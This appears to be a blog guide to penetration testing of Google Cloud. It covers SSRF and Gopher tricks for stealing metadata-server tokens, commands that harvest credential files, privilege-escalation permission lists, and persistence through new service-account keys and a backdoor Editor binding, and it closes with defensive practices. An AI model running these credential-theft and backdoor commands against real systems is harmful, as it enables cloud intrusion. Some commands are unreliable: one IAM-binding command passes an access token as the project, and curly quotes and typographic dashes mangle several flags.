Google Cloud Platform (GCP) is a powerful suite of cloud services, but like any complex environment, it presents unique security challenges. In this guide, we’ll conduct a hands-on exploration of GCP penetration testing, drawing from real-world methodologies to create a comprehensive reference. We’ll start with foundational concepts like GCP’s resource hierarchy, identity primitives, and core services. From there, we’ll move into practical workflows for reconnaissance, initial access, privilege escalation, lateral movement, persistence, and finally, mitigations.
This blog is designed for pentesters and defenders alike. For attackers, it outlines how to leverage misconfigurations like overly permissive IAM roles or exposed metadata. For defenders, each technique is paired with detection signals and best practices to harden your environment.
Core GCP Concepts
Before diving into offensive techniques, we grasp these building blocks for better understanding.
Resource Hierarchy
GCP organizes resources in a top-down tree for ownership, billing, and access control:
- Organization: The root, linked to a Google Workspace or Cloud Identity account. It sets high-level policies.
- Folders: Optional groupings (e.g., by department like “Engineering” vs. “Finance”) that inherit from the organization.
- Projects: Core units where APIs are enabled, resources deployed, and billing tracked. Every resource belongs to one project.
- Resources: Actual assets like VMs, buckets, or datasets, inheriting policies from parents.
How Resources Are Created
Creating a resource involves:
- API Enablement: Enable the service API (e.g., Compute Engine for VMs).
- Service Account Assignment: GCP assigns a default service account (e.g., Compute Engine’s with Editor role) unless overridden.
- IAM Role Binding: Bind roles to the service account, accumulating permissions.
- Resource Creation: The resource inherits project policies and authenticates via metadata.
Identity and Access Management (IAM)
IAM controls “who” (identities) can “do what” (permissions) on “which” (resources).
- Identities: Users, groups, service accounts.
- Roles: Permission bundles (e.g.,
compute.instances.start
). - Policies: Bindings at scopes (org, folder, project, resource).
Roles Types
- Primitive: Owner, Editor, Viewer—broad and risky (defaults often use Editor).
- Predefined: Google-managed, scenario-specific (e.g.,
compute.instanceAdmin
for escalation potential). - Custom: Admin-defined granular sets.
Service Accounts
A service account is a non-human identity designed for workloads instead of people. Virtual machines, containers, and applications use service accounts to call Google APIs without embedding static credentials. Each service account can:
- Authenticate via short-lived tokens from the metadata server (no passwords or long-term keys needed).
- Be assigned IAM roles, defining what actions the workload can perform across GCP.
GCP often creates default service accounts when you enable certain APIs (e.g., Compute Engine, App Engine, GKE). These defaults sometimes carry broad privileges like project-wide Editor, which can be dangerous if not restricted. Best practice is to disable defaults where possible and create custom service accounts with least-privilege roles tailored to the workload.
Core interfaces
- gcloud CLI: The primary admin SDK. Shows project layout, IAM, enabled APIs and is used for scripted enumeration.
- Google APIs: The real service endpoints (iam.googleapis.com etc.). gcloud is a convenience layer over these APIs.
- Metadata API: Local-only endpoint http://metadata.google.internal or 169.254.169.254 providing instance metadata and short-lived OAuth tokens tied to the VM’s service account.
Initial Access Vectors
- OSINT
- Web app vulnerabilities
- Phishing and account compromise
OSINT
Use OSINT techniques (public code repositories, targeted Google dorking, paste sites, etc.) to search for leaked credentials or service-account keys.
Enumerate publically exposed GCP resources like storage buckets, firebase realtime databases, app engine sites, cloud functions. This can be done by using cloud_enum tool:
python3 cloud_enum.py -k <keyword> -k <keyword> -t 10 --disable-aws --disable-azure
GCP Bucket Brute can also be used for finding storage buckets based on the keywords you provide it.
python3 gcpbucketbrute.py -f token_file -k <keywords> -s 10
Web app vulnerabilities
If your target company have a web application deployed on GCP which is vulnerable to SSRF or RCE, an attacker can potentially abuse that flaw to retrieve the service-account token used by the app’s runtime, effectively gaining whatever access that service account has to GCP resources.
SSRF:
- As mentioned above, the cloud metadata API issues short-lived access tokens that are scoped to service accounts. An SSRF vulnerability can be abused to reach the metadata endpoint and retrieve those tokens.
- The URL to meta-data API is http://169.254.169.254/computeMetadata/ and it requires a header:“Metadata-Flavor: Google“.
- Because some SSRF vectors does not allow to add header with the request, you can use the Gopher protocol to inject an HTTP request including that header. A practical helper for crafting such Gopher payloads is the SSRF2gopher:
python3 SSRF2gopher.py -u <url> -p <port> -e <endpoint> -m <method> -H "Metadata-Flavor: Google"
- Some SSRF filters only allow `http://metadata.google.internal/` instead of raw IP. Both resolve to the metadata service.
Remote Code Execution:
- If you achieve remote code execution (RCE) on a web application, you can access the host and enumerate any credentials present on the machine.
# Check environment variables for any kind of access tokens etc
env
# Service account keys or tokens
grep -iER ‘ya29’ / 2>/dev/null
grep -iER ‘https://oauth2.googleapis.com/token’ / 2>/dev/null | grep .json
# gcloud CLI stored tokens (if installed)
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/access_tokens.db
# Check gsutil credstores
cat ~/.gsutil/credstore*
# Application default credentials
cat /etc/google/auth/application_default_credentials.json
cat /root/.config/gcloud/application_default_credentials.json
# Kubernetes ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
- You also get service account token by sending request to google’s internal meta-data API.
# List available service accounts
curl -H “Metadata-Flavor: Google” \
“http://169.254.169.254/computeMetadata/v1/instance/service-accounts/”
# Get token for the default service account
curl -H “Metadata-Flavor: Google” \
“http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token”
# Get token for a specific service account
curl -H “Metadata-Flavor: Google” \
“http://169.254.169.254/computeMetadata/v1/instance/service-accounts/<service_account>/token”
Note: Phishing will not be covered in this blog.
Authentication Mechanisms
Once you have found credentials, you can authenticate and start enumerating the cloud infrastructure. Below are the methods to authenticate with google cloud services:
Gmail Login:
This authenticates your session using your Gmail account, ideal for initial setup or personal access.
gcloud auth login
To validate the authentication, use the following commands:
gcloud auth list
Service Account key file:
This method uses a service account key file for secure, non-human identity authentication.
gcloud auth activate-service-account --key-file=service_account_json_file.json
Use an access token file:
This runs a command with a specified access token file, offering temporary credential usage.
gcloud <command> --access-token-file token.txt
You can also use the token to authenticate with Google API:
curl -s -X GET \
-H "Authorization: Bearer $(cat token.txt)" \
"https://iam.googleapis.com/v1/projects/-/serviceAccounts"
Google HMAC credentials:
This generates HMAC credentials and uses them to access storage buckets:
gcloud storage hmac create SERVICE_ACCOUNT_EMAIL
gsutil config -a
By default, gsutil reuses gcloud credentials. If you want gsutil to use only HMAC creds and not your gcloud login, disable credential passing:
gcloud config set pass_credentials_to_gsutil false
Enumeration
Once you have authenticated, you can start enumerating the services in gcloud. We can use tools like CloudPEASS
python3 GCPPEAS.py --token $(gcloud auth print-access-token) --projects $(gcloud config get-value project)
You can manually enumerate services by following the cheatsheets: HackTricks and GCP CheatSheet
Privileges Escalation & Lateral Movement
To escalate privileges or move laterally within a cloud environment, check the roles assigned to your account. If any of the following roles are present, follow this guide for exploitation: GCP IAM Privilege Escalation:
cloudbuilds.builds.create
deploymentmanager.deployments.create
iam.roles.update
cloudfunctions.functions.create
cloudfunctions.functions.update
compute.instances.create
run.services.create
cloudscheduler.jobs.create
orgpolicy.policy.set
storage.hmacKeys.create
serviceusage.apiKeys.create
serviceusage.apiKeys.list
If you have any of the following permissions over a service account, you can exploit them by following the instructions here: GCP IAM Privilege Escalation
- iam.serviceAccounts.signJwt
- iam.serviceAccounts.getAccessToken
- iam.serviceAccountKeys.create
- iam.serviceAccounts.implicitDelegation
- iam.serviceAccounts.signBlob
Below are the commands to enumerate the service acccounts:
# List all service accounts in the active project
gcloud iam service-accounts list
# List keys associated with a service account
gcloud iam service-accounts keys list –iam-account
# Check roles assigned to a specific service account
gcloud projects get-iam-policy $(gcloud config get-value project) \
–flatten=”bindings[].members” \
–filter=”bindings.members:serviceAccount:<email>” \
–format=”value(bindings.role)”
Below is the command for automating the enumeration:
# Loop through service accounts and check IAM policy
for sa in $(gcloud iam service-accounts list –format=”value(email)”); do
echo “[*] Checking $sa”
gcloud iam service-accounts get-iam-policy “$sa”
done
In case the above method does not work, you can use the following commands to enumerate sensitive permissions on service accounts:
# Extract service accounts from project IAM policy
gcloud projects get-iam-policy $(gcloud config get-value project) \
–format=”flattened(bindings[].members)” \
| grep ‘serviceAccount:’ \
| awk -F’serviceAccount:’ ‘{print $2}’ \
| sort -u > serviceaccounts.txt
# Test sensitive permissions on each service account
for sa in $(cat serviceaccounts.txt); do
echo “[*] Checking $sa”
curl -s -X POST \
-H “Authorization: Bearer $(gcloud auth print-access-token)” \
-H “Content-Type: application/json” \
-d ‘{
“permissions”: [
“iam.serviceAccounts.getAccessToken”,
“iam.serviceAccountKeys.create”,
“iam.serviceAccounts.signBlob”,
“iam.serviceAccounts.signJwt”,
“iam.serviceAccounts.implicitDelegation”,
“iam.serviceAccounts.actAs”
]
}’ \
“https://iam.googleapis.com/v1/projects/-/serviceAccounts/$sa:testIamPermissions”
done
Persistence Methods
Create Long-Lived Service Account Key:
If you have iam.serviceAccounts.createKey permissions, generate a new key for a privileged service account. This provides long-term access without relying on short-lived tokens.
gcloud iam service-accounts keys create key.json --iam-account <service_account_email>
Add IAM Binding for Backdoor Access:
Grant yourself or a controlled identity a persistent role, like Editor, on a project or resource.
gcloud projects add-iam-policy-binding $(gcloud auth print-access-token) --member=user:<your_email> --role=roles/editor
Best Security Practices
- Least Privilege Principle: Always assign the minimal roles needed. Avoid primitive roles like Editor; use predefined or custom roles.
- Disable Defaults: Turn off default service accounts and create custom ones with scoped permissions.
- Monitor Metadata Access: Log and alert on unusual metadata API queries to detect compromised instances.
- Enable Audit Logging: Use Cloud Audit Logs for all services and set up alerts for sensitive actions like IAM changes or secret access.
- Key Rotation and No Long-Lived Keys: Enforce automatic rotation and prohibit user-managed keys.
- Multi-Factor Authentication: Require MFA for user accounts and monitor for anomalous logins.
- Secure OSINT Targets: Make buckets private, avoid embedding secrets in code, and use VPC-only access for databases.
Resources
- https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
- https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/
- https://www.netspi.com/blog/technical-blog/cloud-pentesting/escalating-privileges-in-google-cloud-via-open-groups/
- https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
- https://github.com/carlospolop/CloudPEASS
- https://github.com/exe-cut3/gcp-permissions-checker